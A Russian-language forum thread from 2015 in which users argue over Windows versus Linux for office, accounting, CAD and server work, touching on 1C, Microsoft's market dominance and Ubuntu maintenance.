Это нерационально. VirtualBox 5, с двунаправленным Drag'n'Drop и буфером обмена - решает кучу проблем. При этом, Win7 с виртуального диска на Btrfs взлетает быстрее раза в три, чем чистая загрузка. Единственное, пока не понял, как хакнуть слик на виртуальной машине. Но, учитывая, как часто мне нужна винда, мне не в лом установить ее и попользоваться, пока есть 3 дня до активации.  Благо, установка винды на виртуалке с образа оффдиска занимает минут 15. Как раз хватает чайку попить... :)

Аватар пользователя nictrace
nictrace(5 лет 9 месяцев)(08:16:00 / 27-10-2015)

о как.. вы когда исходник для сборки под nix скачиваете, сперва весь код изучаете на предмет закладок, или сразу на компиляцию запускаете?..

Аватар пользователя marwin
marwin(2 года 5 месяцев)(15:20:36 / 27-10-2015)

Вопрос не в тему, но я таки отвечу. По отношению к Linux я пользователь-прикладник. И паранойей не болею. Не, ну если хотите - продолжайте юродствовать.

Закладки в Linux безусловно возможны. Но в открытом ПО ставить их намного сложнее. Вы когда-нибудь слышали про историю обнаружения back door в InterBase? Дело было в 2001 году. В целях увеличения популярности данной СУБД Borland открыл исходники. Их тут же форкнули и в процессе разработки Firebird в исходном коде обнаружили дыру. Если бы исходники не открыли, то, возможно, дыра существовала бы до сих пор. Interbase как-то сразу захирел. Если не изменяет память, исходники Interbase вскоре вновь закрыли, а народ дружно пересел на Firebird.

Аватар пользователя maxvlad
maxvlad(5 лет 10 месяцев)(21:54:56 / 23-10-2015)

1с давно работает под линуксом. И сервер, и клиент. И на бесплатной СУБД.

Аватар пользователя ®man
®man(3 года 8 месяцев)(21:57:10 / 23-10-2015)

да, вкурсе. проблема только с внедрением ибо остальной плотный документооборот для линуксов пока невозможен

Аватар пользователя zander
zander(2 года 9 месяцев)(05:12:59 / 24-10-2015)

Что значит плотный документооборот?

Аватар пользователя И-23
И-23(2 года 2 месяца)(17:39:27 / 26-10-2015)

О недостижимом качестве проприетарных, завязанных на самую распространённую ОС систем документооборота расскажите сказки тем, кто их не видел.
Ну как Irsi рассказывает о домене.

Аватар пользователя LvKiller
LvKiller(3 года 4 месяца)(19:33:31 / 24-10-2015)

Вы таки дилетант, дядя. Слово "совместимость" ни о чем не говорит? Будучи админом на уровне энтерпрайз, где уживаются десятки серверов, могу вам сказать, что как раз с совместимостью дела обстоят хреново... И да, без "винды" (серверной и клиентской) пока обойтись не можем, хотя серверные крутятся под KVM. Хоть убейтесь. Хотел было пройти мимо, но настроение не ахти... Запомните, увколл, пинать то, чего не понимаешь или боишься не стоит. Весь срач "винда vs linux" бессмысленная потеря времени, хотя и превосходный детектор ламерства...

Аватар пользователя valera545
valera545(3 года 7 месяцев)(16:32:25 / 31-10-2015)

Не вижу никаких различий с виндой.

Как решаете вопрос с издательскими пакетами? Мне интересно практически — винда задолбала внатуре. 

Аватар пользователя ®man
®man(3 года 8 месяцев)(21:22:24 / 23-10-2015)

из всего вышесказанного я, лишь в очередной раз, убеждаюсь в мыслях, что никсы занимают ровно то место и ту нишу, на которую они бесспорно и безусловно претендуют и где очень часто они безальтернативны

Аватар пользователя eprst
eprst(5 лет 7 месяцев)(21:29:21 / 23-10-2015)

Там почти полтысячи комментариев, а здесь сколько хочешь собрать? К чему эти холивары. Каждый решает сам, что ему юзать. Линух становится удобнее с каждым годом, но и "тяжелее", новые сборки уже требуют солидных ресурсов. Ткштааа, будет со временем такой же монстр, как и вын.

Аватар пользователя ®man
®man(3 года 8 месяцев)(21:31:48 / 23-10-2015)

не ради холивара.

автор того поста потому и собрал такое количество комментариев, что вопрос был задан не корректно

Аватар пользователя eprst
eprst(5 лет 7 месяцев)(21:36:18 / 23-10-2015)

А этот вопрос и не может быть задан корректно, ибо религия. 

Аватар пользователя ®man
®man(3 года 8 месяцев)(21:39:22 / 23-10-2015)

ну как бы мой вывод в том же

Аватар пользователя zander
zander(2 года 9 месяцев)(05:14:14 / 24-10-2015)

В этом посте тоже самое :)

Аватар пользователя Tikovka
Tikovka(5 лет 4 месяца)(21:39:01 / 23-10-2015)

Ну линуху можно обрезать. Поэтому кто может и хочет делать систему под себя - сидит под линухом.

зы ПО мне - есть только один критерий - выполняет требования или нет. Не выполняет - сносится и ставится что выполняет.

Аватар пользователя eprst
eprst(5 лет 7 месяцев)(21:44:47 / 23-10-2015)

Да, с линухом маневра больше. Можно совсем лёгкий сделать для инета.

Аватар пользователя ®man
®man(3 года 8 месяцев)(21:46:13 / 23-10-2015)

можно безусловно и это превращает его в однозадачную систему

Аватар пользователя eprst
eprst(5 лет 7 месяцев)(21:47:49 / 23-10-2015)

Не всем нужна многофункциональность, тем линух и хорош.

Аватар пользователя Орлушин Тарассий

Не превращает. Просто навороченная графическая морда заменяется на менее навороченную (вендузятнегу это не понять).

Комментарий администрации:  
*** Ходор прав! ***
Аватар пользователя AlexN
AlexN(5 лет 3 месяца)(21:59:05 / 23-10-2015)

где M$ + 1С — де-факто стандарт

Это не так. Есть несколько разработок с кассами под Linux, используемые в больших торговых сетях. И 1C уже не только виндовое приложение.

Я как-то несколько лет назад позвонил в фирму делающую софт для банков и поинтересовался, что мешает сделать тот же банк-клиент для Linux. "Ничего", - ответили они. - "Только никто не заказывает".  Проблема пользователя в том, что он не понимает смысл компьютеризации и автоматизации. Ну еще может в инертности мышления. 

Мои знакомые софтверные производители (надо сказать, крупные известные на российском рынке фирмы) не пишут программы для пользователей, а впаривают то, что могут написать.  Просто объясняют покупателю, что ему надо именно это. Ну, с недостатками, конечно, но лучше-то нету.

Это целая культура. Убогая, но какая есть... :-)  Вот и тут уже вторая тема и все не о том. И так со школы. Поймите, информатика не имеет прямого отношения к компьютерам, компьютеризация и автоматизация - не синонимы: водить "мышкой" по экрану - это ручная работа. 

Аватар пользователя ®man
®man(3 года 8 месяцев)(21:54:00 / 23-10-2015)

о чём нужно?

Аватар пользователя AlexN
AlexN(5 лет 3 месяца)(22:15:35 / 23-10-2015)

Вопрос, мне кажется, не в контексте моего комментария. Уточни, пожалуйста.

Хотя... Если о системах, то они все не нужны. Совсем. Я имею ввиду для пользователя не нужны. Пользователю могут быть нужны инструменты для работы с информацией. А винда и линукс - это игрушки системных программистов.

И не программист прикладного ПО предлагает пользователю инструмент, а пользователь заказывает программисту тот инструмент, который ему нужен.  Или сам пользователь становится изготовителем своего инструмента - программистом.  И вот при таких условиях системная платформа с открытым кодом становится вне конкуренции. Не так ли?

Аватар пользователя ®man
®man(3 года 8 месяцев)(22:19:48 / 23-10-2015)

вашего.

Вот и тут уже вторая тема и все не о том

задан он был до внесения последующих правок

мне кажется вы из другой плоскости ставите вопросы.

здесь вопрос об альтернативах. есть ли они и возможны в сложившийся ситуации или мы все окончательно завязли на одного/двух производителей


правильно

как таковая прокладка между пользователем и компьютеров в виде ОС должна быть однозадачной. всё что от неё требуется – запускать нужный инструмент. но в таком случае и сам ПК превращается в ненужное барахло ибо достаточно монитора и клавиатуры. ведь так? ))

Аватар пользователя AlexN
AlexN(5 лет 3 месяца)(22:20:20 / 23-10-2015)

Если пользователь компьютера не может описать задачу и способ ее решения посредством компьютера, то компьютер такому пользователю не нужен ни с какой системой. Это вдогонку мыслям из предыдущего ответа.

мне кажется вы из другой плоскости ставите вопросы.

Не кажется. Именно из другой плоскости.

сам ПК превращается в ненужное барахло ибо достаточно монитора и клавиатуры. ведь так? ))

не совсем, хотя мысль мне кажется понятной.

Аватар пользователя ®man
®man(3 года 8 месяцев)(22:19:10 / 23-10-2015)

в контексте предыдущего поста – не пользователь не смог очертить круг задач, а автор статьи не смог предложить какие задачи пользователь может выполнять на линуксах так же просто как и на венде. ограничившись лишь "линукс может всё"

ну да, может. и на Белазах картошку можно перевозить.

Аватар пользователя eprst
eprst(5 лет 7 месяцев)(22:23:22 / 23-10-2015)

Ну да, вот винда и является Белазом.

Аватар пользователя ®man
®man(3 года 8 месяцев)(22:26:32 / 23-10-2015)

они все Белазы. по другому пока ни как (

Аватар пользователя AlexN
AlexN(5 лет 3 месяца)(22:33:46 / 23-10-2015)

Все пользователи делятся на два типа: одни понимают что такое автоматизация и знают как использовать компьютер для этих целей и вторые - которые не понимают, а комп используют для ручной работы ( по разным причинам: требование к должности на работе, мода, видео, в том числе интерактивное - игры). Так вот, первым Linux, как открытая система, лучше. А вторым хотелось бы поднять свой статус произнося "умные" слова. Часто первые зарабатывают на вторых.  Вот так "спрос" на статус умников порождает предложение. Так и майкрософт заработал свои миллионы. 

А дискутировать тут о чем? Тут учить людей надо.

Аватар пользователя ®man
®man(3 года 8 месяцев)(22:40:32 / 23-10-2015)

я привел в статье примеры комбайнов которые очень сильно автоматизируют рабочий процесс в крупных компаниях. являясь средством автоматизации (а там есть свои сервера) они не работают на открытых системах.

по сути CAD решения автодеска и адоба это цифровые конвейеры под которые просто пока ещё нет однозадачной венды и возможно поэтому их не портируют на никсы

Аватар пользователя AlexN
AlexN(5 лет 3 месяца)(22:57:17 / 23-10-2015)

я привел в статье примеры комбайнов которые очень сильно автоматизируют рабочий процесс в крупных компаниях. являясь средством автоматизации (а там есть свои сервера) они не работают на открытых системах.

Изначально, хоть *nix системы и старше всяких dos и win, это больше академические системы, а не коммерческие. А соответственно, при большей гибкости и широчайших возможностях платформы прикладное ПО для этих систем имеет академический уклон. Ситуация стала меняться совсем недавно. А в коммерческом сегменте, как я уже писал, редко создают ПО для пользователя. Чаще впаривают то, что написали. При написании же ориентируются не на качество и функциональность ПО, а на прибыль. 

по сути CAD решения автодеска и адоба это цифровые конвейеры под которые просто пока ещё нет однозадачной венды и возможно поэтому их не портируют на никсы

Возможно.

Есть такая фраза: "раньше мощности вычислительной системы типа х286 и пары мегабайт медленной оперативной памяти хватало для управления системой космических спутников, а сейчас требуется 2 процессорных ядра и 2 гигабайта оперативки, чтобы открыть текстовый файл в "офисе"" Это к слову о культуре написания программ.

Аватар пользователя ®man
®man(3 года 8 месяцев)(23:03:47 / 23-10-2015)

я полностью согласен.

и я упомянул, что программисты есть часть сферы производства средств производства и образование это тоже сфера производства средств производства, а не сфера услуг, как впаривают сейчас ректоры вшы.

Аватар пользователя AlexN
AlexN(5 лет 3 месяца)(23:46:51 / 23-10-2015)

То-то и оно. А это уже совсем другая плоскость. ;-)

Благодарю за интересное общение. И да - я пользуюсь только *nix .

Аватар пользователя Lige
Lige(3 года 8 месяцев)(21:22:42 / 24-10-2015)

Последний абзац - шутка, ибо построен на передергивании.

Когда были 286 и борьба шла за сотню лишнюю килобайт, то вопрос оптимизации был актуален. Сам на спор писал одну утилитку для конторы, чтобы в килобайт уложилась, пришлось все проверки  обрезать- что не так, сразу ret. С ростом производительности стали развиваться объектно-ориентироаные языки. Точнее, все разрабы стали вводить в новых версиях  такие возможности.конечно программисты за это ухватились. Иметь под рукой кучу разных функций утомительно. Самописных функций. Все равно все не учтешь, надо дописывать , ловить баги и за всем следить. Легко потерять нить программы- самой идеи-зза этой сервисной шелухой. С появлением гуя это вообще стало засадой, все естественно, перешли на готовые функции языка, встраивая асм вставки лишь в критичных местах, например, защиту. Так и вышло, что с каждым разом все более мощное железо с одной стороны давало возможность,  а с другой - подталкивало. 

Ну и любой спец скажет, чтопрограмма для управлением на основе показаний датчиков займет меньше ресурсов, чем гуйовая  фигня с рюшечками и встроенными макросами. Любая прошивка весит меньше ( телефон не в счет - тот же комп) и это показательно.

 

Пардон за занудство

Аватар пользователя Орлушин Тарассий

САПРы под никсы имеются, только не маленькие, как автокад, а тяжёлые.

Адобовские проекты к САПРам не относятся.

Комментарий администрации:  
*** Ходор прав! ***
Аватар пользователя ®man
®man(3 года 8 месяцев)(00:15:11 / 24-10-2015)

где сказано, что адоб делает САПРы?

Аватар пользователя Весельчак Ы

по сути CAD решения автодеска и адоба это цифровые конвейеры под которые просто пока ещё нет однозадачной венды и возможно поэтому их не портируют на никсы

Какая каша в голове....

Аватар пользователя ®man
®man(3 года 8 месяцев)(12:18:54 / 24-10-2015)

у вас? возможно

Аватар пользователя Весельчак Ы

Я, пожалуй, соглашусь что у меня, только вы объясните пожалуйста что есть "цифровые конвейеры" и зачем делать "однозадачную венду".

Аватар пользователя ®man
Аватар пользователя Весельчак Ы

Понятно, "у нас в хирургии это называется хреновина" ( (с) К/Ф "Миллион в брачной корзине").

В вычислительной технике конвейером раньше называли несколько иное устройство.

Едем дальше. Вы не ответили с какой целью нужно создавать "однозадачную венду" и как это мешает перенести приложения на юниксы.

Аватар пользователя ®man
®man(3 года 8 месяцев)(14:57:53 / 24-10-2015)

для специалиста работающего с кадами или медиаконтентом не важно, что там "под капотом"

он специалист который знает и работает с инструментом, а не системой. в этом его предназначение. нельзя упрекать профессионального водителя в том, что он не разбирается в двигателях и коробках передач

роль же системы сводится лишь к запуску одного приложения.

так вот. сейчас подовляющее большинство прикладных инструментов работают в ненавистной всем микрософтовской среде, у которой есть много минусов. но альтернативы этому нет. нельзя сделать венду однозадачной, т.е. для запуска только пресловутого фотошопа избавив её тем самым от множества дыр и недостатков

 

Аватар пользователя Весельчак Ы

Т.е. вы косвенно признаете что системах  не разбираетесь.

А "сделать венду однозадачной" не получится - Microsoft будет против, они десятки лет бились чтобы она была "истинно многозадачной", а тут все надо ломать обратно. Да, MS/DOS был однозадачным, да и то не вполне.

Аватар пользователя ®man
®man(3 года 8 месяцев)(15:38:44 / 24-10-2015)

в скольки системах разбираетесь вы?

однозадачной систему делает не микрософт, а антимонопольные службы. микрософт с этим ничего поделать не может

Аватар пользователя Весельчак Ы

в скольки системах разбираетесь вы?

DOS, Windows 3.11, Windows 95, Windows 98, Windows NT, Windows XP, Windows 7, немного Windows 8 и Linux. Сейчас пишу с FreeBSD, уже лет 10 дома и на работе с ней.

Винды намного больше, так получалось, работа такая, да и людям много приходилось помогать устранять "у меня ничего не работает".

однозадачной систему делает не микрософт, а антимонопольные службы. микрософт с этим ничего поделать не может

Интересно, каким образом?

Аватар пользователя ®man
®man(3 года 8 месяцев)(20:14:20 / 24-10-2015)

если под термином "разбираюсь" понимать установки и настройку самой системы для работы с прикладным программным обеспечением, которые уже и решают мои непосредственные задачи, то мой опыт общения с системами почти аналогичен вашему (в плане версий)

в первые сел за компьютер году в 88м, тогда это были Ямаховские КУВТ2

потом были трёшки (нэтваревская сетка), потом 95я и 98я. какое-то время сидел на NT, потом пересел на 2К, на XP пересел только после второго SP, висту пересидел на хакинтоше (10.7, 10.8) потом была 7ка, с переездом на 8ку долго тянул, но поскольку она мне досталась практически за дарма (купил по акции за 460р) пришлось в какой-то момент перелазить, дабы не потерять промокод. сейчас сижу на 8.1 и куда дальше идти пока не знаю.

несколько раз пытался пересесть на линукс подобные системы. но часть работы, к большому сожалению в них делать не представляется возможным и костыли на подобие вайна не спасают. есть там свои аппаратные ограничения.

из линусов сейчас использую дебиан (пробовал и минт и убунту), работает он у меня в качестве web-servera, соответственно без графического интерфейса, т.е. с консолью линуксов я знаком не по наслышке.

Интересно, каким образом?

давайте представим светлое завтра. современная экономическая рыночная модель рушится и понятие "конкуренция" и "монополии" уходят в небытие

и вот тут МС объединяется с автодеском, адобом и всякими архикадоми, сливаясь в диджитал-экстазе, и начинает клепать на своём железе в буквальном смысле инженерные рабочие столы (ведь антимонопольщиков уже нет и никто не запретит микрософту вместе с ситемой устанавливать прикладной софт на компьютеры), при этом выход в сеть у них ограничен доступом к технической документации в рамках конкретного проектного института. получается такой готовый рабочий инструмент для инженера проектировщика, который выполняет одну задачу – помогает инженеру проектировать. т.е. такой цифровой кульман. инженер в конечном счёте и знать не будет (и не должен), что там внутри под капотом этого электронного чуда.

но сейчас картина другая. у МС практически монопольное положение на рынке ОС, и поэтому ей не дают устанавливать вместе с ОС еще и прикладной софт. иначе они вообще вытеснят с рынка всё.

Аватар пользователя Lige
Lige(3 года 8 месяцев)(21:33:48 / 24-10-2015)

Один мой дружбан сказал, что в 10 они уже внедрили кучу всего и при отказе от этой кучи поставленный отдельно софт не работает толком. 

Так что уже, уже интегрирует

Аватар пользователя Spartan
Spartan(2 года 4 недели)(15:01:18 / 29-10-2015)

+ поэтому ей не дают устанавливать вместе с ОС еще и прикладной софт. иначе они вообще вытеснят с рынка всё.

- А чё ж "вытеснят", раз, по мнению пингвинщиков, есть линух - великий и бесплатный?!

А потому вытеснят, что винда грамотнее спроектирована и тупо удобнее в работе. Во всех смыслах.

Комментарий администрации:  
*** Флудер, кандидат на лидеры бан-рейтинга ***
Аватар пользователя zelya
zelya(2 года 10 месяцев)(08:57:01 / 24-10-2015)

очень многА букФ, хоть отдельную статью пиши -http://aftershock.news/?q=node/343932 .

да в том то и дело, там где софт формировался до распространения винды - тот же софт под разводку плисов, имс и прочие крупные проекты - они изначально были юниксовыми и потом заимели и виндовые и линуксовые аналоги.

что касаемо комбайнов то это было вынужденой мерой, в виду отсутствия в самой винде при создании утилит автоматизации, многих вещей, части из которых нет нормальных и поныне. например подсистема opengl и как следствие вместо конвеерной обработки данных, тем же блендером, который вообще-то изначально не был пс-шным...

реально винда выехала на дешевой платформе пс, которая для захвата рынка тем же ибм сделана была исходно открытой, в итоге имб и позже все остальные лидеры этого рынка тупо его потеряли, в отличии от абсолютно аналогичной платформы макоса, которые даже перейдя на x86 архитектуру тупо ограничил свою экосистему.

потом, как ты же заметил, пиратство и еще раз пиратство. они как наркодиллеры, при отсутствии в свое время альтернатив (в виде готового комплекса ОС) фактически позволяли воровать. а после монополизации рынка тупо стали давить с него соки, чем и вызвали рост того же линукса. коммерческое ПО без защиты сложно продается из-за того что сама экосистема виндов породила то, что если ПО можно украсть - его надо украсть. но в отличии от виндов линуксы, а не ведроиды позволяют сделать любое окружение ПО и оно даже не заметит что оно в пробирке, даже сложные аппаратно-программные ключи не сильно спасают.

если не выносить часть функционала на ключ с своим сложным аппаратно-програмным  ПО то ПО по определению беззащитно.

это не пускает на этот рынок все то ПО которое по сути легко может конвееризировано и могут быть реализованы альтернативы.

в частности то ПО которое требует обслуживания, т.е. стоимость коробки по сравнению с стоимостью контракта на обслуживание - то ПО есть. те же СУБД и прочее, если ты можешь сам обслужить - оно бесплатно, а если требуется поддержка и обслуживание - то там просто не важно какая ОС, и там уже встречается именно любая ОС, в частности и упомянутое мной ПО от ИБМ, полуось.

но т.к. МС само себе роет яму, с неудачного релиза сервис пака 3, который они получив мощный отклик, моментально откатили на другой.

если бы не было альтернативы - они и не парились, а сейчас и сами сменили модель бизнеса с коробочной на обслуживание, подписку, и это уже было в середине 2000х, где-то в 2005-ом, если не ошибаюсь.те. после ХП сменили схему с продаж на аренду и вечные(на время жизни ПО, определяемого производителем) рентные платежи.

вот как-то как, если что не читаемое - чукча и не писатель, а читатель и косноязычный технарь.

Аватар пользователя ®man
®man(3 года 8 месяцев)(12:48:43 / 24-10-2015)

я вас понял

чесслово спасибо. разжевали )))

реально винда выехала на дешевой платформе пс, которая для захвата рынка тем же ибм сделана была исходно открытой

как могла дешёвая венда на дешёвой платформе обойти по продажам бесплатный линукс? может дело в другом?

собственно я и хотел сказать, что важна не ОС, а прикладной софт (сервис, как угодно) и задачи которые с его помощью решаются.

оголтелое "олололо, а давайте все налинукс" в моём случае вызвало вопрос, а что мне это даст?

по поводу "венды как сервиса" этот вектор я вижу. печалит конечно, потому и задал вопрос о существовании альтернатив

 

Аватар пользователя Lige
Lige(3 года 8 месяцев)(22:01:43 / 24-10-2015)

У них был отличный продукт - полуось. Но они забросили ее, по все тем же мотивам рыночной экономики...

 

Аватар пользователя zelya
zelya(2 года 10 месяцев)(13:58:54 / 27-10-2015)



 

честное слово. ви таки обращали внимание на цифирьки при копирайтах? у виндовс 1985-... а линукс в версии 0.1 представлен в 1991, а внимание на него обратили большие люди эта в 2000х. это ни о чем не говорит? добрые 20 лет форы и заполнения пустого сосуда и прорыв, втискивание в насыщенную среду? разность усилий на удержание преобладающей экосистемы и вход и раздвижение места для себя, преодоления инерции среды.

Аватар пользователя ®man
®man(3 года 8 месяцев)(14:12:54 / 27-10-2015)

но ведь линукс это дитя *nix систем, он не принёс в IT никакой принципиально новой парадигмы. если никсы появились в 60-х, венда, в том же примерно виде, только в середине 80-х. у какой модели тут 20 лет форы? ))))

Аватар пользователя Lige
Lige(3 года 8 месяцев)(21:59:56 / 24-10-2015)

Ibm продуло потому что решило, что рынок домохозяек им не нужен, он мал и все усилия направили на производства и крупный бизнес. Поэтому и разделились с микрософтом.

А кактолько экран стал цветным мелкомягкие создали симтему для тупых - наведи и нажми, система остальное сделает сама.криво,но красиво, что многим и было нужно. Рынок внезапно стал большим и кодеры стали пилить под него. Так ибм потерял и бизнес решения....

 

Аватар пользователя Spartan
Spartan(2 года 4 недели)(21:14:44 / 29-10-2015)

Почему ты решил, что ИБМ что-то потеряли?

Микрософт как был их программной офшоркой - так и остался.

Комментарий администрации:  
*** Флудер, кандидат на лидеры бан-рейтинга ***
Аватар пользователя Lige
Lige(3 года 8 месяцев)(10:34:09 / 30-10-2015)

потому что это не я решил, рынок софта они потеряли.

Аватар пользователя Spartan
Spartan(2 года 4 недели)(14:55:57 / 29-10-2015)

+ одни понимают что такое автоматизация и знают как использовать компьютер для этих целей и вторые - которые не понимают, а комп используют для ручной работы ...Часто первые зарабатывают на вторых

- Вот только вторые часто катаются на лехусах и меняют шлюх как перчатки, а первые ездят на метро и имеют Дуню Кулакову.

Такова селяви...

Комментарий администрации:  
*** Флудер, кандидат на лидеры бан-рейтинга ***
Аватар пользователя LvKiller
LvKiller(3 года 4 месяца)(19:38:38 / 24-10-2015)

Вы правильно заметили, что для большинства пользователей, даже комментирующих здесь, что компьютер, что линух - просто буханка хлеба. О чем я? Не дай Бог им быть кодером в софтверной конторе, лабающей софт. И вот почему: линух - это просто название, а внутри каждого дистрибутива практически все свое. Поэтому писать софт "для всех", как это делают разработчики под "винду", для линуха - пустая затея. Нужно поддерживать каждый дистрибутив в отдельности. А теперь вопрос... Кому это нужно? Точно нужно?

Аватар пользователя Spartan
Spartan(2 года 4 недели)(14:51:32 / 29-10-2015)

+ Проблема пользователя в том, что он не понимает смысл компьютеризации и автоматизации. Ну еще может в инертности мышления. 

- "Народ - говно" (С)

ВСЁ ПОНЯТНО.

Комментарий администрации:  
*** Флудер, кандидат на лидеры бан-рейтинга ***
Аватар пользователя IMHO
IMHO(5 лет 10 месяцев)(21:50:57 / 23-10-2015)

кратко, хлестко, убедительно

аплодирую стоя

Аватар пользователя Орлушин Тарассий

Ерунда полная. Автор обсуждает популяроный пераццкий вендософт, а не реальный инструментарий для решения конкретных задач. Кроме того, не учитывается фактор подсадки -- а это уже непрофессионализм.

Комментарий администрации:  
*** Ходор прав! ***
Аватар пользователя LvKiller
LvKiller(3 года 4 месяца)(19:40:57 / 24-10-2015)

Уважаемый, рад встретить в Вашем лице умного человека. Вы первый, кто объяснил мне, что десятки миллионов, убитых "газпромом" на асконовское поделие - "компас" - это любовь к "популяроному пераццкому вендософту". Аплодирую стоя.

Аватар пользователя Игорь Д.
Игорь Д.(5 лет 2 недели)(22:11:55 / 23-10-2015)

Полгода на Убунте. До этого был на ХР. Это небо и земля. Виндовс - это помойка с червями и вирусами. Ее надо переставлять каждые полгода. На Линуксе  таких проблем нет. Нет никаких мерзких антивирусников, никаких тормозящих Касперских. Только за это стоит полностью перейти на Убунту.

 

Аватар пользователя LvKiller
LvKiller(3 года 4 месяца)(19:44:12 / 24-10-2015)

Думаю, что прожить на убунте больше года и вам не удастся, уважаемый. Если только вы не LTS ветку юзаете. А так приходилось каждые полгода, как часы, простите дистрибутивы выползали из шаттлвордовского укрытия... А вот винду XP которой по десятку лет, вижу ежедневно - у нас сотни машин только в одном городе на ней живут.

Аватар пользователя marwin
marwin(2 года 5 месяцев)(21:40:27 / 24-10-2015)

Вы, видимо, про команду sudo apt-get dist-upgrade ничего не слышали. Не могу сказать, что это совсем безпроблемный способ, но в целом реальный. И да, юзать LTS - правильный подход. А Windows XP я раз в пол-года переставлял чтобы тупо от тормозов и мусора избавиться.

Аватар пользователя Spartan
Spartan(2 года 4 недели)(21:16:39 / 29-10-2015)

+ Виндовс - это помойка с червями и вирусами. Ее надо переставлять каждые полгода.

- У тебя поврежден файл "прямые руки".dll

Комментарий администрации:  
*** Флудер, кандидат на лидеры бан-рейтинга ***
Аватар пользователя godzik
godzik(2 года 3 месяца)(22:21:59 / 23-10-2015)

подписываюсь, холивар высосаный из "палец" пойми чего. каждая система - под свои нужды.

топикстартер нормально расписал узкие места в различных сферах деятельности, как-то:

- CG - стандарт maya, 3d max - оч удобные приложения, которым на пятки наступает (и достаточно серьезно) Блендер (привет линукс), хотя и не уверен, что заменить в полной мере. Например, работа с анимацией была более удобно реализована в майке, нежели чем в максе. макс более удобен для архитектурных сцен и виз.

- проектирование - Arch-тулсы, хз насколько круто все обстоит под линуксом, ибо просят только их.

- администрирование  - на мой взгляд наблюдается баланс или энтропия системы :D если хотите AD - пока win (ждем samba 4 и дай бог она реализует функционал, что пока сомнительно). без AD линукс решает практически все (fileserver на самбе прекрасен, dns, dhcp, vpn), либо часть ролей можно перекинуть на тот же mikrotik или pfsense :D

- рабочие станции - тут тоже кто что ищет ))) родителям или нубам - можно тулить линукс. backenddev? - привет линукс/мак. frontend и нужно тестить все браузеры - удобней будет вин10 :D дада, вин10, ибо в немработает все и можно тестить все вресии ишака + винфон эмуляция) jsdev - привет вин/мак, но по моим знакомы привет мак :D.

Вы меня простите, но спорить о системах - это как пись***и меряться. относитесь проще к системам ;)

Аватар пользователя gangapsh
gangapsh(5 лет 11 месяцев)(22:24:10 / 23-10-2015)

Не знаю как в других организациях, но у нас бухгалтерия сидит на винде (не программисты они, влом им разбираться с линуксом-убунту, когда давно сидят на винде). А половина науки сидит на  линуксе, им там удобнее. Я работаю в убунту, проблем нет. Libre office мне нравится больше, мне он удобнее, особенно набор трех-этажных формул.

Аватар пользователя eprst
eprst(5 лет 7 месяцев)(22:29:33 / 23-10-2015)

Поставь бухгалтеру линух с 1с, он даже не заметит изменений.

Аватар пользователя gangapsh
gangapsh(5 лет 11 месяцев)(22:36:20 / 23-10-2015)

Зависит от бухгалтера. Может спросить а где иконка? А где кнопочка с кругляшком? И т.п.

Аватар пользователя eprst
eprst(5 лет 7 месяцев)(22:43:37 / 23-10-2015)

Проверено, бухгалтер, особенно пожилой, зачастую даже не знает, как в ворде и экселе работать, у них всё время 1с на весь экран и шаг вправо-влево - ужасный стресс, поэтому они сидят на попе ровно и колотят свои документы.  Мы просто ставили 1с в автозапуск и бухи даже не знали, в какой оси они работают, только один раз сильнопродвинутая, увидев интерфейс, сказала - Ой, какой виндовс интересный, у меня дома не такой. Такие дела...

Аватар пользователя AlexN
AlexN(5 лет 3 месяца)(23:27:02 / 23-10-2015)

У меня есть знакомая тётенька лет под 60. С ней мало кто из айтишников может работать. А всё потому, что она чётко знает что ей надо. Для примера: " Мне надо чтобы данные вводились (а не руками вбивались по возможности) в таком порядке, а потом чтобы обрабатывались по вот такому алгоритму и формировались формы вот такого вида. И крайне желательно, чтобы процесс запускался не только по нажатию вот этой кнопки, но и по некоторым условиям." Вот ей реально пофигу какая у неё винда или не винда вовсе.  Только из десятка одноэсников с нею смогли сработаться только двое, один из которых неплохой прикладной программист (кстати, для линукс тоже пишет) , и системный администратор один.  

Аватар пользователя eprst
eprst(5 лет 7 месяцев)(23:26:32 / 23-10-2015)

Такие мозговыносные тётеньки есть, лечатся административно. Реализация её фантазий денег стоит, ткштааа ей начальству надо доказать, что это не только ей нужно и нужно ли вообще при том объёме работ, что она выполняет.

Аватар пользователя AlexN
AlexN(5 лет 3 месяца)(23:37:29 / 23-10-2015)

Такие мозговыносные тётеньки должны поощряться всячески и в пример ставиться молодому поколению.

Программная реализация любых алгоритмов денег стоит. И потому не надо удивляться, что открытые платформы имеют не так много прикладного ПО по большему счету бесплатного. А штатные одноэсники за свою работу зарплату получают деньгами.

Вообще нехорошая тенденция: мы будем плохо работать, потому что нам мало платят. Считаете, что мало - не работайте. Совсем. Увольтесь к чертям. Если всё-таки взялись, делайте хорошо. А потом удивляются все откуда у нас коррупция... Отсюда. Платят мало - работаю плохо, дадите взятку (доплатите) буду работать лучше.

Аватар пользователя eprst
eprst(5 лет 7 месяцев)(23:38:55 / 23-10-2015)

Разные бывают случаи, может быть ваш из этих. Чаще бывают капризы и требования одной большой кнопки. 

Штатные окучивают всю корпорацию, разбросанную по весям и куширям. На всё нужно веское обоснование. Будет - сделают.

Аватар пользователя AlexN
AlexN(5 лет 3 месяца)(23:40:24 / 23-10-2015)

Капризы - это не тот оттенок экрана. А требование одной большой кнопки с описанием алгоритма - это и есть автоматизация. ;-) Для этого процессоры и изобретались.

Аватар пользователя eprst
eprst(5 лет 7 месяцев)(23:54:34 / 23-10-2015)

Да нет проблем. Какие противоречия? Каждый случай  должен быть рассмотрен перед реализацией, всего дело-то.

Более того, многие не знают, что то, что они просят, уже заложено в функционале, просто привыкли к определённому набору действий, а изучать возможности продукта их не заставишь. Всяко бывает.

Аватар пользователя Spartan
Spartan(2 года 4 недели)(21:19:32 / 29-10-2015)

Такие тетеньки на фирме стОят сотни пингвинщиков с эникеями.

Так что при конфликте пингвины полетят на йух от волшебного начальского пинка.

Комментарий администрации:  
*** Флудер, кандидат на лидеры бан-рейтинга ***
Аватар пользователя Орлушин Тарассий

Потратив полчаса, можно сделать так, что всё будет на тех же самых местах.

Комментарий администрации:  
*** Ходор прав! ***
Аватар пользователя LvKiller
LvKiller(3 года 4 месяца)(19:47:35 / 24-10-2015)

"Клиент-банки" тоже линуксовые надыбаете? За такой для "сбера" плачу любые деньги.

Аватар пользователя Fandaal
Fandaal(2 года 11 месяцев)(22:33:23 / 23-10-2015)

Бесхозные Линуксы усиленно размножаются почкованием. Так Винду не победить.

Но в опытных руках Гугла и Эппла ситуация меняется.
 

Аватар пользователя LvKiller
LvKiller(3 года 4 месяца)(19:49:16 / 24-10-2015)

